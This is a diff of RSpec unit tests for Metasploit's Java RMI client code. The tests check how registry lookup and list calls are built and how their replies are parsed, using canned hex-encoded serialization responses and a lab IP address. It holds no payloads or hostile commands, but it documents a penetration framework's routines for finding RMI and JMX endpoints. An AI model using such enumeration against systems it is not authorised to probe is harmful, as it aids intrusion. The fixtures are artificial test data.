"\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
|
||||
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" +
|
||||
"\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" +
|
||||
"\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" +
|
||||
"\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" +
|
||||
"\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" +
|
||||
"\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" +
|
||||
"\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" +
|
||||
"\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" +
|
||||
"\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" +
|
||||
"\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" +
|
||||
"\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78"
|
||||
end
|
||||
|
||||
let(:remote_address) do
|
||||
'172.16.158.132'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_new_client" do
|
||||
context "when there is an RMIServerImpl_Stub interface" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(new_client_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns the reference information" do
|
||||
expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe ::Msf::Java::Rmi::Client::Registry::Builder do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:default_lookup) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x00"
|
||||
end
|
||||
let(:lookup_opts) do
|
||||
{
|
||||
name: 'test'
|
||||
}
|
||||
end
|
||||
let(:name_lookup) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x04\x74\x65\x73\x74"
|
||||
end
|
||||
|
||||
let(:default_list_call) do
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x01\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
end
|
||||
|
||||
describe "#build_registry_lookup" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_registry_lookup).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a lookup Call for an empty name" do
|
||||
expect(mod.build_registry_lookup.encode).to eq(default_lookup)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts with name" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_registry_lookup(lookup_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a lookup Call for the provided name" do
|
||||
expect(mod.build_registry_lookup(lookup_opts).encode).to eq(name_lookup)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_registry_list" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_registry_list).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a default Call" do
|
||||
expect(mod.build_registry_list.encode).to eq(default_list_call)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,97 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Registry::Parser do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:lookup_return) do
|
||||
raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" +
|
||||
"\x86\x47\x4c\x80\x65\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e\x6d" +
|
||||
"\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" +
|
||||
"\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49\x6d" +
|
||||
"\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02\x02" +
|
||||
"\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
|
||||
"\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74\x75" +
|
||||
"\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72\x00" +
|
||||
"\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72" +
|
||||
"\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61\xb4" +
|
||||
"\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a\x55" +
|
||||
"\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e\x31" +
|
||||
"\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x11\x96\x8a\xd0\x5a" +
|
||||
"\x9e\xa1\xeb\x94\x3e\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d\x86\x47" +
|
||||
"\x4c\x80\x01\x01\x78"
|
||||
io = StringIO.new(raw, 'rb')
|
||||
rv = Rex::Proto::Rmi::Model::ReturnValue.new
|
||||
rv.decode(io)
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
let(:remote_object) { 'javax.management.remote.rmi.RMIServerImpl_Stub' }
|
||||
let(:remote_interface) do
|
||||
{
|
||||
address: '172.16.158.132',
|
||||
port: 4502,
|
||||
object_number: -8444149663951776706
|
||||
}
|
||||
end
|
||||
|
||||
let(:list_return) do
|
||||
raw = "\xac\xed\x00\x05\x77\x0f\x01\x38\x7c\xdd\xc3\x00\x00\x01\x4c\x2d" +
|
||||
"\x86\x47\x4c\x80\x66\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e" +
|
||||
"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7" +
|
||||
"\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" +
|
||||
"\x06\x6a\x6d\x78\x72\x6d\x69"
|
||||
|
||||
io = StringIO.new(raw, 'rb')
|
||||
rv = Rex::Proto::Rmi::Model::ReturnValue.new
|
||||
rv.decode(io)
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
let(:names) { ['jmxrmi'] }
|
||||
|
||||
describe "#parse_registry_lookup_endpoint" do
|
||||
it "returns the remote reference information in a Hash" do
|
||||
expect(mod.parse_registry_lookup_endpoint(lookup_return)).to be_a(Hash)
|
||||
end
|
||||
|
||||
it "returns the remote address" do
|
||||
ref = mod.parse_registry_lookup_endpoint(lookup_return)
|
||||
expect(ref[:address]).to eq(remote_interface[:address])
|
||||
end
|
||||
|
||||
it "returns the remote port" do
|
||||
ref = mod.parse_registry_lookup_endpoint(lookup_return)
|
||||
expect(ref[:port]).to eq(remote_interface[:port])
|
||||
end
|
||||
|
||||
it "returns the remote object number" do
|
||||
ref = mod.parse_registry_lookup_endpoint(lookup_return)
|
||||
expect(ref[:object_number]).to eq(remote_interface[:object_number])
|
||||
end
|
||||
|
||||
it "returns the remote object unique identifier" do
|
||||
ref = mod.parse_registry_lookup_endpoint(lookup_return)
|
||||
expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#parse_registry_list" do
|
||||
it "returns the list of names" do
|
||||
expect(mod.parse_registry_list(list_return)).to eq(names)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,237 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
require 'stringio'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Registry do
|
||||
|
||||
let(:list_with_names_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
|
||||
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" +
|
||||
"\x00\x06\x6a\x6d\x78\x72\x6d\x69"
|
||||
end
|
||||
|
||||
let(:list_empty_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" +
|
||||
"\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" +
|
||||
"\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:lookup_response) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" +
|
||||
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" +
|
||||
"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" +
|
||||
"\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" +
|
||||
"\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" +
|
||||
"\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" +
|
||||
"\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
|
||||
"\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" +
|
||||
"\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" +
|
||||
"\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" +
|
||||
"\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" +
|
||||
"\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" +
|
||||
"\x84\x49\x80\x01\x01\x78"
|
||||
end
|
||||
|
||||
let(:lookup_exception) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" +
|
||||
"\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" +
|
||||
"\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" +
|
||||
"\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" +
|
||||
"\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" +
|
||||
"\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
|
||||
"\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" +
|
||||
"\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" +
|
||||
"\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" +
|
||||
"\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" +
|
||||
"\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" +
|
||||
"\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" +
|
||||
"\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" +
|
||||
"\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" +
|
||||
"\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" +
|
||||
"\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" +
|
||||
"\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" +
|
||||
"\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" +
|
||||
"\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" +
|
||||
"\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" +
|
||||
"\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" +
|
||||
"\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" +
|
||||
"\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" +
|
||||
"\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" +
|
||||
"\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" +
|
||||
"\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" +
|
||||
"\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" +
|
||||
"\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" +
|
||||
"\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" +
|
||||
"\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" +
|
||||
"\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" +
|
||||
"\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" +
|
||||
"\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" +
|
||||
"\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" +
|
||||
"\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" +
|
||||
"\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" +
|
||||
"\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" +
|
||||
"\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" +
|
||||
"\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" +
|
||||
"\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" +
|
||||
"\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" +
|
||||
"\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" +
|
||||
"\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" +
|
||||
"\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" +
|
||||
"\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" +
|
||||
"\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" +
|
||||
"\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" +
|
||||
"\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" +
|
||||
"\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" +
|
||||
"\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" +
|
||||
"\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" +
|
||||
"\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" +
|
||||
"\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" +
|
||||
"\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" +
|
||||
"\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" +
|
||||
"\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" +
|
||||
"\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" +
|
||||
"\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" +
|
||||
"\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" +
|
||||
"\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" +
|
||||
"\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" +
|
||||
"\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" +
|
||||
"\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" +
|
||||
"\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" +
|
||||
"\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" +
|
||||
"\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" +
|
||||
"\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" +
|
||||
"\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" +
|
||||
"\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" +
|
||||
"\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" +
|
||||
"\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" +
|
||||
"\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" +
|
||||
"\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" +
|
||||
"\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" +
|
||||
"\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" +
|
||||
"\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" +
|
||||
"\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" +
|
||||
"\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" +
|
||||
"\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" +
|
||||
"\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" +
|
||||
"\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
|
||||
"\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" +
|
||||
"\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" +
|
||||
"\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" +
|
||||
"\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" +
|
||||
"\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" +
|
||||
"\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" +
|
||||
"\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" +
|
||||
"\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78"
|
||||
end
|
||||
|
||||
let(:name) do
|
||||
'jmxrmi'
|
||||
end
|
||||
|
||||
let(:interface_class) do
|
||||
'javax.management.remote.rmi.RMIServerImpl_Stub'
|
||||
end
|
||||
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
|
||||
describe "#send_registry_list" do
|
||||
context "when there aren't names registered" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(list_empty_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns empty array" do
|
||||
expect(mod.send_registry_list(sock: io)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when there are names registered" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(list_with_names_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns the list of registered names" do
|
||||
expect(mod.send_registry_list(sock: io)).to eq([name])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#send_registry_lookup" do
|
||||
context "when there isn't an interface bound" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(lookup_exception)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "raises an Rex::Proto::Rmi::Exception" do
|
||||
expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception)
|
||||
end
|
||||
end
|
||||
|
||||
context "when there is an interface bound" do
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.seek(0)
|
||||
io.write(lookup_response)
|
||||
io.seek(0)
|
||||
end
|
||||
|
||||
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
|
||||
io.read
|
||||
end
|
||||
end
|
||||
|
||||
it "returns the reference information" do
|
||||
expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#registry_interface_hash" do
|
||||
it "calculates the hash for the java/rmi/registry/RegistryImpl_Stub correctly" do
|
||||
expect(mod.registry_interface_hash).to eq(4905912898345647071)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -5,17 +5,6 @@ require 'rex/java/serialization'
|
|||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
class RmiStringIO < StringIO
|
||||
|
||||
def put(data)
|
||||
write(data)
|
||||
end
|
||||
|
||||
def get_once(length = -1, timeout = 10)
|
||||
read
|
||||
end
|
||||
end
|
||||
|
||||
describe Msf::Java::Rmi::Client do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
|
@ -24,11 +13,11 @@ describe Msf::Java::Rmi::Client do
|
|||
mod
|
||||
end
|
||||
|
||||
let(:io) { RmiStringIO.new('', 'w+b') }
|
||||
let(:io) { StringIO.new('', 'w+b') }
|
||||
let(:protocol_not_supported) { "\x4f" }
|
||||
let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) }
|
||||
let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) }
|
||||
let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" }
|
||||
let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) }
|
||||
let(:protocol_ack_io) { StringIO.new(protocol_ack) }
|
||||
let(:return_data) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
|
||||
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
|
||||
|
@ -49,7 +38,17 @@ describe Msf::Java::Rmi::Client do
|
|||
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
|
||||
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
|
||||
end
|
||||
let(:return_io) { RmiStringIO.new(return_data) }
|
||||
let(:return_io) { StringIO.new(return_data) }
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
|
||||
io.write(data)
|
||||
end
|
||||
|
||||
